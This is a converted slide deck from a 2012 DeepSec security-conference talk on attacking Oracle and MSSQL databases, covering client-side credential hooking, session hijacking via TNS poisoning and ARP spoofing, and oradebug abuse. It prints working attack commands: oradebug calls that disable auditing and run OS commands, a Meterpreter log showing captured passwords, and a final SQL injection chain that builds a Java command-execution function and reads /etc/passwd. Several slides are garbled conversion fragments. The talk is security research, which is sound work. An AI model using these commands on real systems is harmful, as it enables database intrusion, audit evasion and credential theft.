

# Think differently about database hacking

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SELECT presenter FROM DeepSecSpeakers WHERE name = **László Tóth** and '**Ferenc Spala**' or 1=1--

29/11/2012 @ DeepSec 2012

# Who are we?

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- @Work: **Deloitte**. Hungary  
Pentests, Security audits, Config reviews, Consulting ...
- László
  - 12+ years itsec
  - 5+ years Oracle research
- Ferenc
  - 5+ years itsec
  - 3+ years database security
- Members of **Hacktivity** Team
- Co-founders of **Hekkcamp**

# Where does the fun begin?

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- Hacking the Oracle client Client world
- Hijacking database connections Network world
- Metasploit feat. oradebug Server world
  - Using oradebug to get Meterpreter session
  - Using Metasploit to run oradebug commands
- Playing with MSSQL connections MS world



# Hacking the Oracle client

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Part 1

if you play with DLL injection you may find dirty things in the OCI driver

# What's the point?

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- DLL injection is pretty old
- The OCI driver ships with symbol file



- Hijacking the “connect” function is

~~so good~~  
boring

# Fancy, huh?

---

- Debug the OCI driver
- Get the interesting functions
- Do some memory kung-fu
- Wrap-up your DLL
- Get/Write an injector & apply your hooks
- Enjoy the silence

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Beware when x64 in scope!

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Different DLLs for different archs!

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Can be tricky in x64 envs!


- Enjoy the silence

Most of the time you get nothing!

# So, what's the point??

---

Get the **username** and the **password** from a single **SQL statement** execution




Source: <http://9gag.com>

So, what's the point??

---

Get the **username** and the **password** from a single  
**SQL statement** execution



Source: <http://9gag.com>

**OCIStmtExecute** is your friend

# How?

```

Registers (FPU)
EAX: 00FC9C9C OraOCI.EI.OCIStmtExecute
ECX: 0044CD4E sqlplus.0044CD4E
EDX: 00000016
EBX: 00000013
ESP: 0018C650
EBP: 0018D0AC
ESI: 0018D100
EDI: 0018D0EC
EIP: 00FC9C9C OraOCI.EI.OCIStmtExecute

C 0 ES 002B 32bit 0(FFFFFFFF)
P 1 CS 0023 32bit 0(FFFFFFFF)
A 0 SS 002B 32bit 0(FFFFFFFF)
Z 0 DS 002B 32bit 0(FFFFFFFF)
S 0 FS 0053 32bit 7EFDD000(FFF)
T 0 GS 002B 32bit 0(FFFFFFFF)
D 0
O 0 LastErr ERROR_INVALID_HANDLE (00000006)
EFL 00000206 (NO, NB, NE, A, NS, PE, GE, G)

ST0 empty q
ST1 empty q
ST2 empty q
ST3 empty q
ST4 empty q
ST5 empty q
ST6 empty q
ST7 empty q

FST 0020 Cond 0 0 0 0 Err 0 0 1 0 0 0 0 0 (GT)
FCW 027F Prec NEAR, 53 Mask 1 1 1 1 1 1

0018C650 1007A25B [0] RETURN to OCI.1007A25B
0018C654 09C87780 CwL.
0018C658 09CB1DC8 L#T.
0018C65C 09C8783C <K.
0018C660 00000000 ....
0018C664 00000000 ....
0018C668 00000000 ....
0018C66C 00000000 ....
0018C670 00000000 ....
0018C674 00000012 *...
0018C678 00000000 ....
0018C67C 00000000 ....
    
```

ECX 0044CD4E sqlplus.0044CD4E  
EDX 00000016  
EBX 00000013  
ESP 0018C650  
EBP 0018D0AC  
ESI 0018D100  
EDI 0018D0EC

EIP 00FC9C9C OraOCIExecOCIStmtExecute

C 0 ES 002B 32bit 0(FFFFFFFF)  
P 1 CS 0023 32bit 0(FFFFFFFF)  
A 0 SS 002B 32bit 0(FFFFFFFF)  
Z 0 DS 002B 32bit 0(FFFFFFFF)  
S 0 FS 0053 32bit 7EFDD000(FFF)  
T 0 GS 002B 32bit 0(FFFFFFFF)

0 0 LastErr ERROR\_INVALID\_HANDLE (00000006)

EFL 00000206 (NO, NB, NE, A, NS, PE, GE, G)

ST0 empty 9  
ST1 empty 9  
ST2 empty 9  
ST3 empty 9  
ST4 empty 9  
ST5 empty 9  
ST6 empty 9  
ST7 empty 9

FST 0020 Cond 0 0 0 0 Err 0 0 1 0 0 0 0 0 (GT)  
FCW 027F Prec NEAR, 53 Mask 1 1 1 1 1 1

0018C650 1007A25B [a-] RETURN to OCI.1007A25B  
0018C654 09C87780 CwL  
0018C658 09CB1DC8 L#T.  
0018C65C 00000000 L#T.



# How?

Address	Hex dump								ASCII
09C87780	CB	DA	E9	F8	00	03	00	00	πrθ°.♦..
09C87788	B8	2C	C5	09	B8	2C	C5	09	γ,+.γ,+.
09C87790	00	00	00	00	00	00	00	00	.....
09C87798	00	00	00	00	00	00	00	00	.....
09C877A0	00	00	00	00	00	00	00	00	.....
09C877A8	00	00	00	00	00	00	00	00	.....
09C877B0	00	00	00	00	00	00	00	00	.....
09C877B8	00	00	00	00	00	00	00	00	.....
09C877C0	00	00	00	00	00	00	00	00	.....
09C877C8	00	00	00	00	00	00	00	00	.....
09C877D0	00	00	00	00	00	00	00	00	.....
09C877D8	00	00	00	00	00	00	00	00	.....
09C877E0	00	00	00	00	00	00	00	00	.....
09C877E8	00	00	00	00	00	00	00	00	.....
09C877F0	00	00	00	00	00	00	00	00	.....
09C877F8	00	00	00	00	00	00	00	00	.....
09C87800	00	00	00	00	50	96	C8	09	...PQ <sup>Ⓢ</sup>
09C87808	00	00	00	00	08	E2	C8	09	...†Γ <sup>Ⓢ</sup>
09C87810	00	00	00	00	00	00	00	00	.....
09C87818	00	00	00	00	00	00	00	00	.....
09C87820	00	00	00	00	00	00	00	00	.....
09C87828	AD	00	00	30	6C	77	C8	09	ι...θlw <sup>Ⓢ</sup>
09C87830	00	00	00	00	00	00	00	00	.....
09C87838	54	69	FE	07	CB	DA	E9	F8	Ti■·πrθ°
09C87840	01	02	00	00	B8	2C	C5	09	00..γ,+.
09C87848	B8	2C	C5	09	04	00	00	00	γ,+.*...
09C87850	00	00	00	00	00	00	00	00	.....
09C87858	00	00	00	00	00	00	00	00	.....
09C87860	00	00	00	00	00	00	00	00	.....
09C87868	00	00	00	00	00	00	00	00	.....

# Where is my golden egg?

Address	Hex dump	ASCII
09C8E2D8	CB DA E9 F8 01 09 00 00	πrθ°θ...
09C8E2E0	B8 2C C5 09 B8 2C C5 09	7,+7,+.
09C8E2E8	00 40 80 00 00 00 00 00	.@Ç.....
09C8E2F0	00 00 00 00 00 00 00 00	.....
09C8E2F8	00 00 00 00 00 00 00 00	.....
09C8E300	00 00 00 00 00 00 00 00	.....
09C8E308	00 00 00 00 00 00 00 00	.....
09C8E310	00 00 00 00 00 00 00 00	.....
09C8E318	00 00 00 00 00 00 00 00	.....
09C8E320	00 00 00 00 00 00 00 00	.....
09C8E328	00 00 00 00 00 00 00 00	.....
09C8E330	00 00 00 00 00 00 00 00	.....
09C8E338	00 00 00 00 00 00 00 00	.....
09C8E340	00 00 00 00 00 00 00 00	.....
09C8E348	00 00 00 00 00 00 00 00	.....
09C8E350	00 00 00 00 00 04 EA C8 09	...ϕπ <sup>π</sup> .
09C8E358	E0 E4 51 0A 06 05 82 3C	αΣQ.ϕϕe<
09C8E360	C3 04 AA 9E 40 41 AB CE	†ϕ¬A@A%†
09C8E368	10 5B 96 A5 07 74 EF 82	‡[Qñ·tne
09C8E370	2E 7C 17 0B 23 67 00 00	.!ϕδ#g.
09C8E378	00 00 00 00 00 00 00 00	.....
09C8E380	00 00 00 00 00 00 00 00	.....
09C8E388	00 00 00 00 00 00 00 00	.....
09C8E390	00 00 00 00 00 00 00 00	.....
09C8E398	00 00 00 00 00 00 00 00	.....
09C8E3A0	00 00 00 00 00 00 00 00	.....
09C8E3A8	00 00 00 00 00 00 00 00	.....
09C8E3B0	00 00 00 00 00 00 00 00	.....
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09C8E310	00 00 00 00 00 00 00 00	.....
09C8E318	00 00 00 00 00 00 00 00	.....
09C8E320	00 00 00 00 00 00 00 00	.....
09C8E328	00 00 00 00 00 00 00 00	.....
09C8E330	00 00 00 00 00 00 00 00	.....
09C8E338	00 00 00 00 00 00 00 00	.....
09C8E340	00 00 00 00 00 00 00 00	.....
09C8E350	00 00 00 00 04 EA C8 09	.....*Ω <sup>4</sup> .
09C8E358	E0 E4 51 0A 06 05 82 3C	αΣQ.*#e<
09C8E360	C3 04 AA 9E 40 41 AB CE	*~R@A%#
09C8E368	10 5B 96 A5 07 74 EF 82	▷[ūñ·tñé
09C8E370	2E 7C 17 0B 23 67 00 00	.!#δ#g..
09C8E368	10 5B 96 A5 07 74 EF 82	▷[ūñ·tñé
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09C8E378	00 00 00 00 00 00 00 00	.....
09C8E380	00 00 00 00 00 00 00 00	.....
09C8E388	00 00 00 00 00 00 00 00	.....
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09C8E3C0	00 00 00 00 00 00 00 00	.....

# Where is my golden egg?

Points to the username

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09C8E308	00 00 00 00 00 00 00 00	.....
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09C8E3A0	00 00 00 00 00 00 00 00	.....
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09C8E3B0	00 00 00 00 00 00 00 00	.....
09C8E3B8	00 00 00 00 00 00 00 00	.....
09C8E3C0	00 00 00 00 00 00 00 00	.....

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Address	Hex dump	ASCII
09C8E2D8	00 00 00 00 00 00 00 00	.....
09C8E2E0	00 00 00 00 00 00 00 00	.....
09C8E2F0	40 80 00 00 00 00 00 00	.....
09C8E300	00 00 00 00 00 00 00 00	.....
09C8E308	00 00 00 00 00 00 00 00	.....
09C8E310	00 00 00 00 00 00 00 00	.....
09C8E318	00 00 00 00 00 00 00 00	.....
09C8E320	00 00 00 00 00 00 00 00	.....
09C8E328	00 00 00 00 00 00 00 00	.....
09C8E330	00 00 00 00 00 00 00 00	.....
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09C8E360	C3 04 AA 9E 40 41 AB CE	┆⋄~R@A%┆
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09C8E3A0	00 00 00 00 00 00 00 00	.....
09C8E3A8	00 00 00 00 00 00 00 00	.....
09C8E3B0	00 00 00 00 00 00 00 00	.....
09C8E3B8	00 00 00 00 00 00 00 00	.....
09C8E3C0	00 00 00 00 00 00 00 00	.....

Points to the username

Length of the username

E0 E4 51 0A 06

06

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09C8E368	10 5B 96 A5 07 74 EF 82	┆[ūñ·tñé
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09C8E380	00 00 00 00 00 00 00 00	.....
09C8E388	00 00 00 00 00 00 00 00	.....
09C8E390	00 00 00 00 00 00 00 00	.....
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09C8E3A0	00 00 00 00 00 00 00 00	.....
09C8E3A8	00 00 00 00 00 00 00 00	.....
09C8E3B0	00 00 00 00 00 00 00 00	.....
09C8E3B8	00 00 00 00 00 00 00 00	.....
09C8E3C0	00 00 00 00 00 00 00 00	.....

Points to the username

Length of the username

Marker

E0 E4 51 0A 06 05

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09C8E2D8	00 00 00 00 00 00 00 00	.....
09C8E2E0	00 00 00 00 00 00 00 00	.....
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09C8E300	00 00 00 00 00 00 00 00	.....
09C8E308	00 00 00 00 00 00 00 00	.....
09C8E310	00 00 00 00 00 00 00 00	.....
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09C8E368	10 5B 96 A5 07 74 EF 82	└[ūñ·tñé
09C8E370	2E 7C 17 0B 23 67 00 00	.!#σ#g..
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Length of the username

Points to the username

Marker

Encryption key

# Where is my golden egg?

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09C8E2D8	00 00 00 00 00 00 00 00	.....
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09C8E380	0 00 00 00 00 00 00 00	.....
09C8E3A0	00 00 00 00 00 00 00 00	.....
09C8E3A8	00 00 00 00 00 00 00 00	.....
09C8E3B0	00 00 00 00 00 00 00 00	.....
09C8E3B8	00 00 00 00 00 00 00 00	.....
09C8E3C0	00 00 00 00 00 00 00 00	.....

Length of the username

Points to the username

Marker

Encryption key


Encrypted password



Who should I shoot at?

---

This security **flaw** lies in  
the **OCI driver** itself



**LIVE**  
**DEMO**

# Hijacking Oracle sessions

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Part 2

all roads lead to us

# History

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- In 2009 **pytnsproxy** was released @ Hacktivity conference by László Tóth
  - Hijacking oracle sessions
  - Downgrading auth protocols
  - Log authentication data for offline brute-force
- In 2012 **tnspoilison attack** details were revealed by Joxean Koret
  - Great research paper
  - Working PoC

# History

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- In 2009 **pytnsproxy** was released @ Hacktivity conference by László Tóth
  - Hijacking oracle sessions You have to redirect the client, e.g.: arp-cache poisoning
  - Downgrading auth protocols
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- Hijacking oracle sessions

You have to redirect the client, e.g.: arp-cache poisoning

- Downgrading auth protocols

- Log authentication data for offline brute-force

- In 2012 **tnspoil** details were revealed by Joxean Koret

- Great research paper

- Working PoC

It works with SIDs 6 characters long

What?

---

Listener


Victim



tnspoisn

# What?


---



tnspoisn

What?

---





# What?

---

Listener


Victim



tnspoison


What?

---




# What?

---




# What?

---




# What?

---



What?



# What?

---

- You can **redirect** a certain percentage of the **Oracle clients**
- The traffic goes through you so you can do anything with it
  - Sniff it
  - Alter it
  - Send your own SQL commands

# What?

---

- You can **redirect** a certain percentage of the **Oracle clients**
- The traffic goes through you so you can do anything with it
  - Sniff it
  - Alter it
  - Send your own SQL commands

This is where pytnsproxy can help you!



# Hijack

---

Victim

Listener

tnspoison

pytnsproxy



Attacker

# Hijack

---

Victim

Listener



tnspoison

pytnsproxy



Attacker

# Hijack

---

Victim

Listener



tnspoison

pytnsproxy



Attacker

# Hijack

---



pytnsproxy



Attacker

# Hijack

---




pytnsproxy




Attacker


# Hijack



# Hijack



# Hijack





# Hijack

---




pytnsproxy



Attacker


# Hijack

---




# Hijack

---




Attacker


# Hijack




# Hijack



# Hijack



# Hijack



# Hijack

---

You can execute **SQL commands**  
**in the name** of the Victim





# Notes

---

- You have to use the **same client version** that the client used
- Use **proxytest/proxytest** as username/password for hijacking or use AS SYSDBA :-) (It does not work with the sqldeveloper 3.2)
- You have an easy to use **metasploit module** (tnspoison) for SID length 1-12 (all possible length)
- Global Database ID usage needs further testing

# Oradebug programming language

---

Part 3

C64 style backfires

# History

---

- BlackHat 2011 - David Litchfield showed how to run operating system level commands
- Hacktivity 2011 - László Tóth showed how to:
  - Run operating system command in a much simpler way
  - Switch off the auditing without restarting the database
  - Switch off the Oracle password validation on Windows

# What?

---

- It is a **command** that can be **called from sqlplus**
- It can be accessed by SYSDBA only
- It is logged into a trace file that can be deleted by the SYSDBA
- You can call any function that is accessible from the Oracle executable
- You can write the Oracle process memory

# What?

---

- It is a **command** that can be **called from sqlplus**
- It can be accessed by SYSDBA only
- It is logged into a trace file that can be deleted by the SYSDBA
- You can call any function that is accessible from the Oracle executable
- You can write the Oracle process memory

Yes, you have arbitrary memory write and execution!

# What?

---

- SYSDBA audit switched off

```
oradebug poke 0x0600340E0 1 0
```

- Standard Audit switched off

```
oradebug poke 0x060041BA8 2 0
```

- Operating system command was run

```
oradebug call system "/bin/ls -l>/tmp/ls.txt"
```

# What?

---

- SYSDBA audit switched off

```
oradebug poke 0x0600340E0 1 0
```

- Standard Audit switched off

Addresses depend on the given version!

```
oradebug poke 0x060041BA8 2 0
```

- Operating system command was run

```
oradebug call system "/bin/ls -l>/tmp/ls.txt"
```

# What?

- SYSDBA audit switched off

oradebug pol

- Standard Audit swit

oradebug pol

- Operating system c

oradebug cal

```

      **** COMMODORE 64 BASIC V2 ****
      64K RAM SYSTEM  38911 BASIC BYTES FREE
READY.
LOAD"TEST",8,1
SEARCHING FOR TEST (1)
LOADING
READY.
LIST
1986 SYSPEEK(43)+PEEK(44)*256+48:VIRUS
READY.
RUN (2)
HI
READY.
LOAD"TEST",8,1
SEARCHING FOR TEST
LOADING
READY.
LIST (3)
10 PRINT"HI"
READY.

```

ersion!



# What?

- SYSDBA audit switched off

oradebug pol

- Standard Audit swit

oradebug pol

- Operating system c

oradebug cal

```
C64 1982 vs Oracle 2012  
***** COMMODORE 64 BASIC V2 *****  
64K RAM SYSTEM 38911 BASIC BYTES FREE  
READY.  
LOAD"TEST",8,1  
SEARCHING FOR TEST (1)  
LOADING  
READY.  
LIST  
1986 SYSPEEK(43)+PEEK(44)*256+48:VIRUS  
READY.  
RUN (2)  
HI  
READY.  
LOAD"TEST",8,1  
SEARCHING FOR TEST  
LOADING  
READY. (3)  
LIST  
10 PRINT"HI"  
READY.
```

ersion!

# What?

---

```
SQL> show parameter sys_op
```

NAME	TYPE	VALUE
audit_sys_operations	boolean	TRUE

```
SQL> alter system set audit_sys_operations=false;
```

```
alter system set audit_sys_operations=false
```

\*

```
ERROR at line 1:
```

```
ORA-02095: specified initialization parameter cannot be modified
```

```
SQL> oradebug setmypid
```

```
Statement processed.
```

```
SQL> oradebug setvar sga kzaflg_ 0
```

```
BEFORE: [0600346A0, 0600346A4) = 00000001
```

```
AFTER:  [0600346A0, 0600346A4) = 00000000
```

```
SQL>
```

# What?

```
SQL> show parameter sys_op
```

NAME	TYPE	VALUE
audit_sys_operations	boolean	TRUE

```
SQL> alter system set audit_sys_operations=false;
alter system set audit_sys_operations=false
```

\*

```
ERROR at line 1:
```

```
ORA-02095: specified initialization parameter cannot be modified
```

```
SQL> oradebug setmypid
```

```
Statement processed.
```

```
SQL> oradebug setvar sga kzaflg 0
```

```
BEFORE: [0600346A0, 0600346A4) = 00000001
```

```
AFTER: [0600346A0, 0600346A4) = 00000000
```

```
SQL>
```

# Easy to use

---


- Metasploit module for command execution
- Metasploit module for payload execution
- Simulating Linux 32bit client for
  - Linux 11.2.0.3 64 bit
  - Windows 11.2.0.3 64 bit
- You do not need the Oracle drivers



# Hijack

---


Victim



# Hijack

---


Victim




# Hijack

---

Victim




# Hijack






# Hijack

Victim



# Hijack



## Hijack

Victim

pytr

```

00 2e 00 00 06 00 00 00 00 00 08 01 00 01 16 00 .....
16 46 75 6e 63 74 69 6f 6e 20 72 65 74 75 72 6e .Function return
65 64 20 45 32 34 0a 09 01 00 00 00 03 00     ed E24.....

[+] Sending stage (951296 bytes) to 192.168.56.20
[+] Meterpreter session 2 opened (192.168.56.101:42032 -> 192.168.56.20:4444
) at 2012-09-18 21:01:33 +0200


meterpreter > load oralog
Loading extension oralog...success.
meterpreter > hook
Function hooking completed

meterpreter > getlogfile
[InitServerExtension] Extension loaded
[pztvo5pe] Password: Test1234
[pztvo5pe] Password: Test1234
[pztvo5pd] Password: Test1234
[pztvo5pd] Password: Test1234

meterpreter >

```

DR LINK



# Notes

---

- Combine all the things above → **get the SYS user password**
- Easy to use metasploit modules
- Oracle is huge (the windows executable is 130MB), so be careful what you are doing in the memory

# MSSQL hijack

---

Part 4

We do not deal with Oracle only

# History

---

- Tools to log the authentication data or downgrade the authentication (e.g.: `hatkit_proxy/ms-sql-downgrade.bsh` )
- Metasploit module for harvesting credentials (July 12th, 2012 by Patrik Karlsson)
- But until now there was no tool for hijacking

What?

---

Victim

tdsproxy




Attacker

What?

---

Victim



tdsproxy



Attacker



What?

---

Victim

tdsproxy



Attacker

What?

---

Victim

ARP cache poisoning


tdsproxy



Attacker


# What?

---




# What?

---




# What?

---




# What?

---




# What?

---



# What?





# Easy to use

---

- It is MS world so tdsproxy has a GUI!
- You can use the Metasploit MSSQL modules.



# Notes

---

- We had to **modify the mssql.rb** core mixin to add some support for newer protocols
- You have to use the **same client version** that the client used
- You can use Metasploit auxiliary MSSQL modules.

## Notes

76	467	.65339	192.168.56.1	192.168.56.101	TDS	455	Response[Malformed Packet]	
<ul style="list-style-type: none"> <li><input type="checkbox"/> Token 0xe3 Environment Change</li> <li><input type="checkbox"/> Token 0xab Info Message</li> <li><input checked="" type="checkbox"/> Token 0xad Login Acknowledgement</li> </ul>								
Length: 54								
Ack: 1								
Major version (may be incorrect): 115								
Minor version (may be incorrect): 10								
zero usually								
0150	00	2e	00	09	4d	00	53 00 51 00 4c 00 32 00	....M.S. S.Q.L.2.
0160	30	00	31	00	32	00	00 01 00 00 00 ad 36 00 01 73	0.1.2... ..6..s
0170	0a	00	03	16	4d	00	69 00 63 00 72 00 6f 00 73 00	....M.i. c.r.o.s.
0180	6f	00	66	00	74	00	20 00 53 00 51 00 4c 00 20 00	o.f.t. . S.Q.L. .
0190	53	00	65	00	72	00	76 00 65 00 72 00 00 00 00 00	S.e.r.v. e.r.....
01a0	0b	00	08	34	e3	13	00 04 04 34 00 30 00 39 00 36	...4.... .4.0.9.6
01b0	00	04	34	00	30	00	39 00 36 00 fd 00 00 00 00 00	..4.0.9. 6.....

## Notes

76	467	.65339	192.168.56.1	192.168.56.101	TDS	455	Response[Malformed Packet]
+ Token 0x							
+ Token 0x							
- Token 0x							
Length							
Ack: 1							
Major							
Minor							
zero u							
0150	00	2e					
0160	30	00					
0170	0a	00					
0180	6f	00					
0190	53	00					
01a0	0b	00					
01b0	00	04					

```

#
# Parse a "login ack" TDS token
#
def mssql_parse_login_ack(data, info)
  len = data.slice!(0,2).unpack('v')[0]

  #We receive back the TDS version from the server.
  #We save it to check this version
  #when we create a query and parse a reply.
  ack = data.slice!(0,1).unpack('C')[0]
  @major = data.slice!(0,1).unpack('C')[0]
  @minor = data.slice!(0,1).unpack('C')[0]

  buff = data.slice!(0,len)
  info[:login_ack] = true

end

```

# Notes

76.467.65339	192.168.56.1	192.168.56.101	TDS	455 Response [Malformed Packet]
--------------	--------------	----------------	-----	---------------------------------

#

```
# Parse out the columns
cols = data.slice!(0,2).unpack('v')[0]
0.upto(cols-1) do |col_idx|
  col = {}
  info[:colinfos][col_idx] = col

  #If the protocol is newer than the ancient 0x71, the packet format is different
  if(@major > 113)
    col[:utype] = data.slice!(0,4).unpack('v')[0]
  else
    col[:utype] = data.slice!(0,2).unpack('v')[0]
  end
  col[:flags] = data.slice!(0,2).unpack('V')[0]
  col[:type] = data.slice!(0,1).unpack('C')[0]

  case col[:type]
  when 48
    col[:id] = :tinyint
  when 50
    col[:id] = :bit
  end
end
```

# Summary

---

- There was no SQL injection in this presentation
- If you play with DLL injection you may find dirty things in the OCI driver
- All roads lead to us
- C64 style backfires
- We do not deal with Oracle only

# Summary

---

- There was no SQL injection in this presentation
- If you play with DLL injection you may find dirty things in the OCI driver
- All roads lead to us
- C64 style backfires
- We do not deal with Oracle only

Is it worth thinking differently?

one more thing...

---



# This slide does not exist!

---

```
select null, null, dbms_xmlquery.newcontext('declare PRAGMA
AUTONOMOUS_TRANSACTION; begin execute immediate 'create or replace and resolve
java source named "JAVACMD" AS import java.lang.*; import java.io.*;public class
JAVACMD{public static String execCommand (String command) throws IOException
{Process p=Runtime.getRuntime().exec(command);InputStream ir =
p.getInputStream();byte[] b=new byte[2000];ir.read(b,0,2000);return new
String(b);}};'') from dual;
```

```
select null, null, dbms_xmlquery.newcontext('declare PRAGMA
AUTONOMOUS_TRANSACTION; begin execute immediate 'create or replace function
javacmdproc(p_command in varchar2) return varchar2 as language java name
'''JAVACMD.execCommand (java.lang.String) return String'''; '' end;') from
dual;
```

```
select null, null, dbms_xmlquery.newcontext('declare PRAGMA
AUTONOMOUS_TRANSACTION; begin execute immediate 'grant javasyspriv to bdapp'';
end;') from dual;
```

```
select javacmdproc('/bin/cat /etc/passwd'), null, null from dual;
```

# References

---

- [www.soonerorlater.hu](http://www.soonerorlater.hu)
- [www.cqure.net](http://www.cqure.net)
- <http://www.davidlitchfield.com>
- <http://www.petefinnigan.com/>
- <http://www.red-database-security.com/whitepaper/presentations.html>
- <http://www.scriptjunkie.us/2011/08/writing-meterpreter-extensions/>
- <http://www.joxeankoret.com/download/tnspoison.pdf>

# Thank You!

---

```
INSERT INTO DeepSecMessages  
VALUES (“Thx for the Hekkcamp participants!”);
```

```
INSERT INTO DeepSecMessages  
VALUES (“See U @ DeepSec 2013”);
```

Get all the goodies from:  
<http://soonerorlater.hu>



**László Tóth**

donctl

@donctl

n/a

László Tóth

**Ferenc Spala**

spala.ferenc

@FerencSpala

spala.ferenc

Ferenc Spala